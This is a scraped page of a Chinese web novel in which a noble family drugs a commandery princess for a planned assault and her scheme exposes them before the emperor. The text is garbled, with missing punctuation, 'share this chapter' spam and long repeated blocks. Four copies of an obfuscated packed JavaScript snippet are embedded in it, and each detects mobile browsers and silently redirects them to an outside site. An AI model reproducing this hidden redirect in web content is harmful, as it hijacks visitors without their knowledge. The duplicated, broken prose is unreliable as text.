雷家家主站起来“您先别急着做决定凡事好商量。我去更衣马上回来。” 云筝看着他远去的背影眼神冰冷的可怕雷家啊靠一个女人发家眼里就那点男女之事。 耳边传来曹德文低声下气的讨好声“郡主这茶是我自家茶园采摘的也是自家炒的不输给贡茶您尝尝。” 他亲自捧着热茶送到云筝身边云筝微微颔首嘴上说着好却没有碰一下。 曹家主见状眼神微微闪动果然小心谨慎。 可惜她再怎么小心这次也躲不过。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 谁能想到雷家主会以身入局呢? 他识趣的说些做生意趣闻说到高兴时眉飞色舞。 云筝有一搭没一搭的听着态度冷漠而又倨傲。 忽然她脸色大变“我的头好晕不好中招了。” 她猛的起身身体摇摇欲坠面色绯红“姓曹的是你!” 曹德文见状嘴角轻扬看来药效发作了。 “对是我!都说锦云郡主聪明绝顶但在我看来也不过如此嘛。我略施小计就让你中了圈套。” “区区一个女人而已还想跟男人争锋不自量力。” 云筝面色红的不正常气恼不已“曹德文你好大的胆子暗算朝廷官员你死定了。” “紫烟我们走。” 曹德文趾高气扬得意洋洋“既然来了就别想轻易离开。” “啪。”一声紫烟倒在地上两眼紧闭其他几个侍女也纷纷倒下。 云筝见状惊恐万状“曹德文 曹德文一步步逼步气势汹汹“郡主我无意冒犯但你敬酒不吃非要吃罚酒我也是迫不得已。” “事后我一定好好赔罪。” 他色眯眯的大笑“没想到我还有这样的艳福来吧郡主我会好好疼你的……” 而另一边雷家主回到席上跟宾客们谈笑风生。 三皇子在溪边看人钓鱼见外祖父回来就拔腿走了过去。 “外祖父你和云筝谈的如何?她愿意合作吗?” 雷家主面色平静无波“她说需要考虑一下但我观她的态度应该有八成的把握。” 三皇子喜上眉梢“那太好了云筝骄傲自负桀骜不驯为人实在讨厌。但挣钱的手段不得不服。” “对了她人呢?我该回去了临走前跟她打声招呼。” 云母也走了过来急急的问道“伯爷小女跟您一起离开的您回来了小女怎么还没回来?” 雷家主面带微笑温和而又慈祥“她说要四处转转我也不好勉强。” 云母眼皮跳的厉害莫名的不安一颗心七上八下的。 就在此时一名侍女闯了进来神色慌乱“老爷 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,夫人,不好了,出事了。” 所有人的目光扫了过来,雷家大夫人眉头紧皱,“出了什么事?” 侍女紧张不已,“有人在醉吟轩偷情……” 全场一片哗然。 “什么?偷情?” “天啊,是谁这么大胆?” 侍女小心翼翼的看了云母一眼,“是……锦云郡主。” 云母如五雷轰顶,眼前一阵发黑。 她咬破嘴唇,借着痛意让自己清醒点,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141651|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡说,污蔑本朝郡主,该当何罪。” 侍女拼命摇头,“我没有,我说的句句属实。” 众人面面相觑,一名贵公子轻笑道,“耳听为虚,眼见为实,不如大家过去亲眼看看。” 大家立马激动起来,“对,一起去,若无中生有,大家都能为郡主作证。” “走,去醉云轩。” 云母闭了闭眼,强撑着虚弱的身体跟上大部队。 只有雷家主站着不动。 三皇子的脸色奇差,“外祖父,你……没有做什么吧?” 雷家主神色肃穆,拱了拱手,“我所做的一切都是为了殿下。” 三皇子一股气血直往脑门冲,浑身剧颤。 他的模样太可怕了,雷家主吓白了脸,“殿下,殿下。” “啪。”三皇子愤怒的挥出一巴掌,“若她有个三长两短,谁都别想活。” 扔下这句话,他狂奔而去。 雷家主的脸很疼,但,内心如海浪翻涌,一浪接着一浪,震惊的说不出话来。 三皇子他居然…… 醉吟轩,侍女带着大家走到紧闭的门前,停下了脚步。 大家热血沸腾,激动坏了,“就在里面?” 侍女一脸的惶恐,怯生生的点头,“郡主遣走所有人,跟曹老爷在里面单独相处。” 有人忍不住大笑,“哈哈哈,孤男寡女单独相处,能有什么好事?” “怎么不是成就好事呢?” 一语双关,听懂的人都露出猥琐的笑容。 云母眼前一阵阵发黑,不会的!有紫烟在,筝儿不会有事的! 雷家公子右手一挥,下令道,“砸门。” 门被重重砸开,众人争先恐后的闯进去。 入眼就是在软榻上依偎的男女,男子一袭玄衣,背对着众人。 而,身着绯红官服的女子头发披散,整张脸埋在男人的怀里。 “啊啊啊,是锦云郡主,这世上只有她穿绯红官服!” “是她!” “没想到她是这种水性杨花的**!” “让我看看,她跟哪个曹老爷搞上了?” 男人听到动静,紧紧护着怀里的女子,转过头,露出俊美无俦的面容。 是他!众人惊骇欲死,双脚如被钉在地上。 男人面罩寒霜,一双黑眸似千年寒潭,薄唇微启,冰冷的字眼砸向众人。 “滚出去!” 第223章 奸夫是九千岁?刺激 门重重关上,大家的心扑通扑通狂跳,面面相觑。 “那……那不是…… 太过震惊,一句话说了半天,都没有说完整。 一名贵女忍不住叫道,“睿亲王!是睿亲王啊。 云母呆呆的站着,脑袋一片空白,仿若在梦中。 一定是她看错了,女儿向来谨慎小心,怎么会中招? 紫烟人呢?她在哪里? 一名贵妇眼睛都直了,“没想到奸夫是睿亲王,我的天啊。 刺激,太刺激了! 雷家大夫人没好气的喝斥,“闭嘴,你不想活,我们还想活着呢。 有人嘀嘀咕咕,“不是说什么曹老爷吗?什么情况? 大家齐刷刷的看向那个侍女,侍女一脸的茫然无措,“我看到的就是曹老爷,可能搞了好几个…… 云母勃然大怒,冲过来就是两巴掌,“啪啪。 “到了现在,还在诋毁我女儿的清誉,你是哪家的丫环?啊? 大家都沉默了,只有一个愣头青大声叫道,“她是雷家的。 云母气怒攻心,“好啊,雷家,原来这是一场鸿门宴。 雷五夫人不乐意了,冷冷的反驳,“怎么是鸿门宴?分明是你女儿不检点,跟人勾勾搭搭,还怪雷家不成? 现场都是雷家亲朋好友,他们七嘴八舌的声援,“就是,我们亲眼所见,你女儿就是在乱搞。 “没错,你女儿不知羞耻,应该浸猪笼。 “郡主了不起啊,我们还有贵妃娘娘呢,怕你云家不成? “真当你女儿是宝贝啊,没人稀罕,丢人现眼。 云母只有一张嘴,哪是他们的对手,气的七窍生烟,浑身发抖。 “你们…… 一道怒喝声猛的响起,“够了。 雷家公子的眼睛亮了,献媚道,“三皇子,您来的正好,这锦云郡主乱搞,她娘还有脸怪别人,笑**了。 他们的关系特别差,狠狠踩云筝,三皇子一定会高兴的。 话音刚落,一巴掌甩过来,“啪。 三皇子怒气冲冲的喝道,“欺辱本朝郡主,谁给你的勇气。 雷公 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 子捂着脸惊呆了,“三皇子。 三皇子面如沉水,神色凝重极了,“所有人给我听着,今日之事封口,谁都不许说出去,若让本皇子在外面听到,必追究到底。 雷五夫人眉头紧皱,不是很理解,“三皇子,您怎么护着锦云郡主? 三皇子听而不闻,转身看向眼含热泪的云母。 “云夫人,您放心,这事不会传出去的。 云母正在气头上,又担心内室的女儿,语气很冲,“不要你假好心。 雷公子怒气冲冲的喝道,“不识抬举的东西,胆敢对皇子不敬,这是要**吗? “轰隆隆的声音猛的响起,一群身着黑衣的男子如狼似虎般冲了进来。 众**惊失色,“是明镜司,明镜司来了。 立春目不斜视,躬身向屋内行礼,“属下恭迎九千岁。 “嘎吱一声,门开了,俊毅男子坐着轮椅出现在众人眼前。 “起来吧。 立春神色恭敬,“禀九千岁,属下带了二百人手,已经控制住沁园正门后门侧门和腰门,一共四个门。 厉无恙面色冰冷的可怕,不怒自威。 他微微颌首,“传本王命令,封锁现场,不许任何人进出,彻查此案,不管查到谁都绝不姑息。 “是。 厉无恙冰冷的视线在众人脸上扫过,目光所到之处,皆不敢抬头。 “往宫中递消息,就说,本王和锦云郡主遭人暗算,被人下了药,捉奸在床,请皇上作主。 “是。 现场一片哗然,被暗算? 糟了,要出大事了! 雷家人的脸色瞬间变白了。 作为东道主,出了这样的事,他们也要负相应的责任。 厉无恙无视人群骚动,一双眼睛如刀般锐利,气场强大,震撼全场。 “顺便请皇上派几名太医过来,给锦云郡主和本王检查身体,本王很不舒服。 “是。立春担心的问道,“您没事? 厉无恙眉头紧皱,“有没有事,太医说了算。 全场瑟瑟发抖。 妈呀,以为是桃色绯闻,没想到是阴谋诡计! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 谁这么大胆敢算计锦云郡主和九千岁?作死啊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141652|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三皇子脸色复杂到了极点,视线不由自主的往内室飘,“九皇叔,您……怎么这么不小心?” 厉无恙冷冷的看着他,“本王终日打雁,今日却被雁啄了眼,如此奇耻大辱,本王岂能忍?” “三皇子,本王希望你没有掺和进此事,否则,呵。” 看着他冰冷的黑眸,三皇子的心往下沉,如坠入深不见底的冰窟。 宫中,皇上正忙着折奏折,一名宫中侍卫匆匆闯进来,“皇上,皇上,出大事了。” 皇上神色淡然,将毛笔放到紫檀木的笔架上,“什么事?” 侍卫神色紧张,“明镜司包围了沁园,封锁现场,所有人都被关在里。” 皇上挑了挑眉,来了兴趣,“沁园?那不是云家的旧宅吗?无恙这么不给云家面子?” “前几日还说他们过往甚密,这会儿却闹翻了,怎么跟孩子似的?是什么原因?” 侍卫禀道,“睿亲王的人就在外面。” 皇上漫不经心的挥了挥手,“让他进来。” 是立秋,他恭恭敬敬的行礼,“见过皇上。” 皇上眉眼含笑,“说说,到底是怎么回事?无恙跟锦云怎么闹翻了?” 立秋神色严肃,“我家主子和锦云郡主遭人暗算,被人下了药,还被抓奸在床,请皇上为他作主。” “他身体不舒服,还让请几个太医过去……” 皇上的脑袋嗡嗡作响,全身血液直往脑门冲。 每一个字都在挑战他的底线! 他猛的坐直身体,嘴唇哆嗦,“什么?无恙和锦云被下了药?抓奸在床?到底怎么回事?把话说清楚。” 立秋将结果说了一遍,但,没头没尾的,缺少过程和细节啊。 皇上听的云里雾里,百思不得其解,“他们都是机敏之人,怎么会轻易中招?” 立秋顿了顿,小心翼翼的禀道,“也许,可能,下药之人是他们意想不到,没有防范的人。” 说这话时,他头都不敢抬。 皇上不知想到了什么,语气沉沉的问道,“三皇子也在现场?” “是。” 皇上脸色铁青,猛的站起来,“大伴,让人准备一下,朕要出宫。” 大太监窥其脸色,心里瑟瑟发抖。 皇上暴怒,一场腥风血雨即将到来! 第224章 绝杀!一招致敌人于死地! 沁园所有人被困在园中神色惴惴不安你看看我我看看你只敢用眼神交流。 明镜司将抱厦改成审讯室轮流盘查就连女眷也不例外。 每一个人进去时双腿发抖出来时浑身瘫软把后面的人吓坏了。 而厉无恙就坐在屋檐下神色肃杀眼神冷厉浑身萦绕着可怕的低气压。 雷家主匆匆赶来看到眼前一幕心里一紧 完了怎么把这凶神引来了? 一双冰冷的眼扫过来不怒自威。 “怎么?不欢迎?” 雷家主下意识的回避他的眼神“不不不臣甚感荣幸。” 厉无恙冷冷的质问“那为何不敢看本王?是做了什么亏心事?” 雷家主心乱如麻千算万算精心筹划的计谋怎么会出了纰漏? 到底哪里出了问题? 曹德文他人呢?废物这点小事都办不好。 枉费他亲自下场以身入局…… 不好明镜司查案一定会查到自己头上的。 “九千岁天家子弟权势滔天威严甚重臣不敢直视。” “是吗?”厉无恙漫不经心的把玩着玉扳指神色清冷至极。 雷家主等了半晌都没等到九千岁的问话心里更慌了。 却什么都不敢问不敢打听。 他心思飞转看向坐在一边的三皇子冲他直使眼色但三皇子神色呆滞没有接收到。 雷家主急了“咳咳。” 厉无恙看了过来“三皇子快醒醒你外祖父喊你商量对策呢。” 三皇子:…… 雷家主:…… 他心里慌的要命再查下去雷家肯定要完。 谁能想到一桩简单的小事居然将九千岁卷了进来。 “九千岁事关锦云郡主的声誉别把事情闹大了不如让全场封口到此为止。” 不提云筝还好一提厉无恙的脸色更难看了。 “你在教本王做事?” 雷家主吓出一身冷汗“臣不敢。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 不知过了多久,外面传来通禀声,“皇上驾到。 一群侍卫簇拥着皇上走进来,皇上神色肃穆,脸色不好看。 众人纷纷下跪行礼,“皇上万岁万岁,万万岁。 皇上环视一周,视线落在厉无恙身上,微微一怔,咦,这么生气?不像是演的! 难道,真的是他太多心了? “九皇弟,到底怎么回事? 厉无恙面沉如水,糟糕的心情全写在脸上。 “先诊脉吧,我虽然吃了一颗解毒丸,但,还是很不舒服。 皇上一挥手,几名太医上前,替九千岁诊脉。 厉无恙看向其中一人,“医正,锦云郡主在内室,劳烦你进去瞧瞧。 他看向站在门口的云母,“云夫人,您陪医正进去吧。 云母一直被关在门外,焦躁不安,听到这话精神一震,“是。 门开了,云母陪着医正走进去。 皇上定定的看着这一切,喜怒不形于色。 “太医,睿亲王什么情况? 太医收回手,含蓄的表示,“王爷中了极为霸道的媚药,幸好及时吃了解毒丸,否则后患无穷。 他顿了顿,声音压低,“药性还没完全清除,所以,脑子亢奋,四肢却无力,睿王爷才会浑身不舒服。 皇上深深的看了厉无恙一眼,就因为这个原因才生气?还是……被算计了,心里不痛快? “赶紧把药性清除了。 “是。 太医轻声说道,“小臣扎几针帮您排除药性,您再喝一碗汤药…… 话还没说完,内室传来一声惊叫,“啊。 现场一静,厉无恙脸色微变。 皇上眉头皱了起来,“出了什么事? 门开了,一道身影像阵风般冲进来,扑到雷家主面面前,一把揪住他的衣领,拳打脚踢。 “是你害了我女儿,我女儿要是有个三长两短,谁都别想活。 雷家主没有还手,只是一味的躲闪。 “云夫人,你为何无故殴打我?皇上在此,你休要胡来。 雷家人心急如焚,上前想阻止,却被侍卫们挡住。 他们急的 你的朋友正在书荒,快去帮帮他吧 大声嚷嚷,“云夫人,你女儿行事不……谨慎,中了暗算,关我家家主什么事?你还讲不讲理?” 云母打累了,扑通一声跪倒在皇上面前,泪如雨下。 “皇上,求您为我女儿作主,求您了。” 皇上揉了揉眉心,头疼的厉害,事情的复杂性超出了他的想象。 “锦云如今什么情况?” “她……”云母哭的更伤心了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141653|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜呜。” 一个绯红的身影走了出来,“娘,您别哭,我没事了。” 是云筝,她上前扶起母亲,对皇上行了一礼。 “见过皇上。” 皇上看清云筝的模样,呼吸一窒。 “锦云,你的手……” 这跟他想象的不一样。 云筝面色苍白如纸,将左臂的白纱解开,露出一道狰狞的伤口,伤口很深,已经处理过了,但还在渗血。 鲜红的血和白皙的肌肤形成了鲜明的对比,更显得的触目惊心。 这一幕的冲击力太大了,不少女子闭上眼睛不敢再看。 厉无恙闭了闭眼,掩去眼中的沉痛。 好气啊,气自己。 他算准了一切,却没有算到云筝对自己那么狠。 看到这一刀,皇上的疑心稍退,怒道,“这是怎么回事?” 云筝眼含热泪,大声控诉,“皇上,我状告贵妃之父,安南伯对我威逼利诱,让我背叛皇上,投向三皇子阵营,成为三皇子党的一员。” 这话一出,如一道重磅**,在众人头顶炸开,所有人变了脸色。 天啊,事关天家争斗,牵扯到了最敏感的夺嫡,也触动了皇上内心最敏感的神经。 雷家主脸色发白,“皇上,冤枉啊。” 皇上冷冷的看了他一眼,“闭嘴,现在轮不到你说话。” “锦云,你继续。” 云筝眼眶泛红,泪珠在眼眶打转,“我严词拒绝后,伙同他人对我下药,欲毁了我的清白,借机拿住我的把柄,让我不得不屈从。” 平时那么要强的女孩子,强忍泪意的可怜模样,纵然铁石心肠的皇上也有些心软了。 同时,一股怒火从心底升起。 他正值壮年,这些人就急着夺嫡,想拥护下一位君主上位。 锦云对他忠心耿耿,就成了他们的眼中钉,不能拉拢就除掉,可恶至极。 一群狗东西! 雷夫人急出一身热汗,“你胡说八道,我家老爷德高望重,最为正派,绝不会这么做,你这是陷害。” 云筝将受伤的胳膊伸出来,神色绝决而又激愤,“为保清白,在危急时刻,我狠狠给了自己一刀,想让自己保持清醒,不被药性左右。” 现场一片哗然。 狠人啊! 绝杀!一招致敌人于死地! 雷家在劫难逃! 第225章 臣弟,恳请皇上赐婚(上) 雷家主眼前一黑,差点晕过去。 老天爷啊,早知云筝是这种狠人,他就……改变策略了。 “皇上,您听我解释……” 皇上心情复杂到了极点,看看,都把孩子逼到什么地步了。 呵,这哪是逼迫云筝,分明是挑战君王的尊严。 他心中所有的怒气全冲着雷家而去。 “朕不想听你狡辩。” “锦云,你对自己太狠了,可,你不该伤害自己,应该去刺别人。” 云筝可委屈了,眼泪汪汪的,“是我不想吗?是我打不过人家啊,我只是一个弱女子而已。” “皇上,我只是想好好活下去,风风光光的活出一个人样,怎么就这么难呢?” 她的示弱,让皇上心里很不是滋味,她没做错什么,只是一心向着他,不肯背叛他而已。 这么忠心耿耿的臣子,必须护着。 否则,会让其他忠臣寒心的。 ”别怕,你对朕忠心耿耿,朕是知道的,谁胆敢伤害你,就是跟朕作对。“ 这话一出,全场皆惊。 这是何等的信任和看重。 雷家主脸色难看到了极点,云筝太聪明了,审时度势,找准时机巧妙示弱,借机赢得圣眷。 她这一刀,看似是刺了自己,其实是通往权力之巅的天梯。 这哪是见识浅薄的商贾之女,分明是步步为营的官场老手。 他居然会以为轻轻松松拿下她,拿捏她的把柄,为他们所用。 可,现实重重打了他一巴掌,雷家靠送女子进后宫博富贵,而云家女靠自己的本事在前朝立足,本身就不一样。 “皇上,真的不是**的,是锦云郡主跟三皇子有仇,故意诬陷三皇子的外家,削弱他的实力。” “请皇上明鉴。” 雷家众人纷纷下跪,“请皇上明鉴。” 皇上看向一边的三儿子,眼神阴晦不定,“三皇子,你怎么说?” 三皇子深深的看了云筝一眼,她一句三皇子党,将他置于万劫不复的境地。 他们,注定是敌人! 那就,一起共沉沦吧。 “儿臣一头雾水中,至今搞不清状 况,锦云郡主说,是雷家害她,那怎么变成了她跟九皇叔……偷情?这其中是否另有隐情?” 他是聪明人,一句话就将父皇的猜忌之心挑起。 皇上顺着他的视线看了过去,“无恙,你怎么会在这里?” 厉无恙板着一张臭脸,不耐烦的说道,“皇上,您应该问,安南伯伙同谁对锦云郡主下手?” 皇上立马抓住了关键信息,难道那个小卒子有特别之处?“是谁?” 厉无恙拍了拍双手,下令道,“把人拖出来。” 谷雨上前,在一堆草丛中拎出一个男子。 众人定睛一看,好家伙,都成血窟窿了,两眼紧闭,不知死活,实在吓人。 雷家主眼前一阵天旋地转,忍不住作呕。 皇上打量了两眼,“这是谁?” 云筝目露恨意,上前狠狠踢了男人一脚。 “皇上,此乃三皇子党的中坚力量,扬州盐商,曹德文,他刚才公然索要镇江,高邮,苏宁三地盐引。” 她顿了顿,意味深长的说道,“说是,投名状。” 盐商?投名状?雷家连朝廷的盐引都敢碰,大逆不道。 皇上脸色剧变,脑门青筋突突跳动,大声怒喝,“雷文滔,你认得此人吗?” 雷家主脸色发白,心思飞转,“认得,他曾经给雷家递过帖子,见过一面。但,这只是正常的应酬,他的身份地位不配成为雷家的座上宾。” 全然否认是没用的,有些事情一查就知道。 但,他还是想挣扎一下。 “我并没有邀请他出席宴会,我也不知道他怎么会出现在这里。” 三皇子不动声色的说道,“皇上,今日虽是雷家摆宴,但,沁园是云家的旧宅,云家人比谁得清楚地形。” 云筝冷笑一声,“照三皇子的意思,这人是我引进来的,是我自导自表演?是这个意思吗?” 三皇子抿了抿嘴,“你心里最清楚。” “我图什么?” 三皇子不假思索的说道,“当然是皇上的宠信,以及……睿王妃的位置。” 他竖起大拇指,眼神却有一种说不出的痛苦。 “不得不说,锦云郡主好算计。” 云筝对他刮目 相看,长进了啊。 不过,她也不是吃素的。 “好一个逆我者亡,顺我者昌,还没当上皇帝呢,就有了皇帝的气魄,我实在是佩服。” “不过,只会耍下药这种下九流的手段,你就算当上皇帝,也是一个**之君。” 全场皆静,大声不敢出,恨不得立马原地消失。 三皇子气的发疯,“云筝你这个疯子,不许胡说。” 云筝满眼的绝决,“我九死一生才在阴谋中勉强保得性命,却被三皇子如此污蔑,着实令人心寒。” “皇上,您要多保重啊,再活一百年,绝不能让乱臣贼子阴谋得逞。” 皇上心中百味杂陈,“别人都盼着朕早死,只有你盼着朕再活一百年,还是你最忠心。” 说别人时,他特意看着雷家主和三皇子两人,不言而喻。 两人的脸色极为难看。 在皇上心里,已经分出了忠奸! 皇上的视线落在厉无恙身上,有一丝猜忌,“九皇弟,此人跟你有什么瓜葛?” 厉无恙神色凝重,“我之前向您禀报过,最近在查一桩江南私盐案。” 皇上想了想,确实有这么一回事,“朕记得。” 厉无恙扬了扬下巴,“江南各大盐商都卷入其中,听闻扬州盐商曹德文进京,我就顺藤摸瓜找来了这里。” 他顿了顿,声音压低了,“找到曹德文时,他欲对锦云郡主不轨,我情急之下,出手重了些。” “不过还没死,皇上想知道什么尽管问。” 皇上挑了挑眉,这岂止是出手重了些? 他一个眼神,太医走上前去检查,“禀皇上,此人还活着,但四肢筋脉被挑断,已是废人。” 皇上心中尚有疑虑,“无恙,你向来身边不离人,这回,怎么没带人?” “带了。” 皇上深深的看了他一眼,“那怎么还弄成这样?” 厉无恙沉默了一下,神色复杂,“我总不能把中了媚药的锦云郡主交给属下处理吧。” 他轻轻叹气,“那是对她的侮辱,她性烈如火,最为骄傲,我怕…… 未尽之言皇上明白了,是怕她一时激愤之下,自我了断。 皇上面色稍霁。 哎,这一切都是阴差阳错。 厉无恙不动声色的瞥了一眼,拱了拱手,神色庄重。 “臣弟,恳请皇上赐婚。” 现场鸦雀无声,静的出奇。 三皇子脸色大变,“不可。” 相看,长进了啊。 不过,她也不是吃素的。 “好一个逆我者亡,顺我者昌,还没当上皇帝呢,就有了皇帝的气魄,我实在是佩服。” “不过,只会耍下药这种下九流的手段,你就算当上皇帝,也是一个**之君。” 全场皆静,大声不敢出,恨不得立马原地消失。 三皇子气的发疯,“云筝你这个疯子,不许胡说。” 云筝满眼的绝决,“我九死一生才在阴谋中勉强保得性命,却被三皇子如此污蔑,着实令人心寒。” “皇上,您要多保重啊,再活一百年,绝不能让乱臣贼子阴谋得逞。” 皇上心中百味杂陈,“别人都盼着朕早死,只有你盼着朕再活一百年,还是你最忠心。” 说别人时,他特意看着雷家主和三皇子两人,不言而喻。 两人的脸色极为难看。 在皇上心里,已经分出了忠奸! 皇上的视线落在厉无恙身上,有一丝猜忌,“九皇弟,此人跟你有什么瓜葛?” 厉无恙神色凝重,“我之前向您禀报过,最近在查一桩江南私盐案。” 皇上想了想,确实有这么一回事,“朕记得。” 厉无恙扬了扬下巴,“江南各大盐商都卷入其中,听闻扬州盐商曹德文进京,我就顺藤摸瓜找来了这里。” 他顿了顿,声音压低了,“找到曹德文时,他欲对锦云郡主不轨,我情急之下,出手重了些。” “不过还没死,皇上想知道什么尽管问。” 皇上挑了挑眉,这岂止是出手重了些? 他一个眼神,太医走上前去检查,“禀皇上,此人还活着,但四肢筋脉被挑断,已是废人。” 皇上心中尚有疑虑,“无恙,你向来身边不离人,这回,怎么没带人?” “带了。” 皇上深深的看了他一眼,“那怎么还弄成这样?” 厉无恙沉默了一下,神色复杂,“我总不能把中了媚药的锦云郡主交给属下处理吧。” 他轻轻叹气,“那是对她的侮辱,她性烈如火,最为骄傲,我怕…… 未尽之言皇上明白了,是怕她一时激愤之下,自我了断。 皇上面色稍霁。 哎,这一切都是阴差阳错。 厉无恙不动声色的瞥了一眼,拱了拱手,神色庄重。 “臣弟,恳请皇上赐婚。” 现场鸦雀无声,静的出奇。 三皇子脸色大变,“不可。” 相看,长进了啊。 不过,她也不是吃素的。 “好一个逆我者亡,顺我者昌,还没当上皇帝呢,就有了皇帝的气魄,我实在是佩服。” “不过,只会耍下药这种下九流的手段,你就算当上皇帝,也是一个**之君。” 全场皆静,大声不敢出,恨不得立马原地消失。 三皇子气的发疯,“云筝你这个疯子,不许胡说。” 云筝满眼的绝决,“我九死一生才在阴谋中勉强保得性命,却被三皇子如此污蔑,着实令人心寒。” “皇上,您要多保重啊,再活一百年,绝不能让乱臣贼子阴谋得逞。” 皇上心中百味杂陈,“别人都盼着朕早死,只有你盼着朕再活一百年,还是你最忠心。” 说别人时,他特意看着雷家主和三皇子两人,不言而喻。 两人的脸色极为难看。 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他顿了顿,声音压低了,“找到曹德文时,他欲对锦云郡主不轨,我情急之下,出手重了些。” “不过还没死,皇上想知道什么尽管问。” 皇上挑了挑眉,这岂止是出手重了些? 他一个眼神,太医走上前去检查,“禀皇上,此人还活着,但四肢筋脉被挑断,已是废人。” 皇上心中尚有疑虑,“无恙,你向来身边不离人,这回,怎么没带人?” “带了。” 皇上深深的看了他一眼,“那怎么还弄成这样?” 厉无恙沉默了一下,神色复杂,“我总不能把中了媚药的锦云郡主交给属下处理吧。” 他轻轻叹气,“那是对她的侮辱,她性烈如火,最为骄傲,我怕…… 未尽之言皇上明白了,是怕她一时激愤之下,自我了断。 皇上面色稍霁。 哎,这一切都是阴差阳错。 厉无恙不动声色的瞥了一眼,拱了拱手,神色庄重。 “臣弟,恳请皇上赐婚。” 现场鸦雀无声,静的出奇。 三皇子脸色大变,“不可。” 相看,长进了啊。 不过,她也不是吃素的。 “好一个逆我者亡,顺我者昌,还没当上皇帝呢,就有了皇帝的气魄,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141654|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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“皇上,您要多保重啊,再活一百年,绝不能让乱臣贼子阴谋得逞。” 皇上心中百味杂陈,“别人都盼着朕早死,只有你盼着朕再活一百年,还是你最忠心。” 说别人时,他特意看着雷家主和三皇子两人,不言而喻。 两人的脸色极为难看。 在皇上心里,已经分出了忠奸! 皇上的视线落在厉无恙身上,有一丝猜忌,“九皇弟,此人跟你有什么瓜葛?” 厉无恙神色凝重,“我之前向您禀报过,最近在查一桩江南私盐案。” 皇上想了想,确实有这么一回事,“朕记得。” 厉无恙扬了扬下巴,“江南各大盐商都卷入其中,听闻扬州盐商曹德文进京,我就顺藤摸瓜找来了这里。” 他顿了顿,声音压低了,“找到曹德文时,他欲对锦云郡主不轨,我情急之下,出手重了些。” “不过还没死,皇上想知道什么尽管问。” 皇上挑了挑眉,这岂止是出手重了些? 他一个眼神,太医走上前去检查,“禀皇上,此人还活着,但四肢筋脉被挑断,已是废人。” 皇上心中尚有疑虑,“无恙,你向来身边不离人,这回,怎么没带人?” “带了。” 皇上深深的看了他一眼,“那怎么还弄成这样?” 厉无恙沉默了一下,神色复杂,“我总不能把中了媚药的锦云郡主交给属下处理吧。” 他轻轻叹气,“那是对她的侮辱,她性烈如火,最为骄傲,我怕…… 未尽之言皇上明白了,是怕她一时激愤之下,自我了断。 皇上面色稍霁。 哎,这一切都是阴差阳错。 厉无恙不动声色的瞥了一眼,拱了拱手,神色庄重。 “臣弟,恳请皇上赐婚。” 现场鸦雀无声,静的出奇。 三皇子脸色大变,“不可。” 相看,长进了啊。 不过,她也不是吃素的。 “好一个逆我者亡,顺我者昌,还没当上皇帝呢,就有了皇帝的气魄,我实在是佩服。” “不过,只会耍下药这种下九流的手段,你就算当上皇帝,也是一个**之君。” 全场皆静,大声不敢出,恨不得立马原地消失。 三皇子气的发疯,“云筝你这个疯子,不许胡说。” 云筝满眼的绝决,“我九死一生才在阴谋中勉强保得性命,却被三皇子如此污蔑,着实令人心寒。” “皇上,您要多保重啊,再活一百年,绝不能让乱臣贼子阴谋得逞。” 皇上心中百味杂陈,“别人都盼着朕早死,只有你盼着朕再活一百年,还是你最忠心。” 说别人时,他特意看着雷家主和三皇子两人,不言而喻。 两人的脸色极为难看。 在皇上心里,已经分出了忠奸! 皇上的视线落在厉无恙身上,有一丝猜忌,“九皇弟,此人跟你有什么瓜葛?” 厉无恙神色凝重,“我之前向您禀报过,最近在查一桩江南私盐案。” 皇上想了想,确实有这么一回事,“朕记得。” 厉无恙扬了扬下巴,“江南各大盐商都卷入其中,听闻扬州盐商曹德文进京,我就顺藤摸瓜找来了这里。” 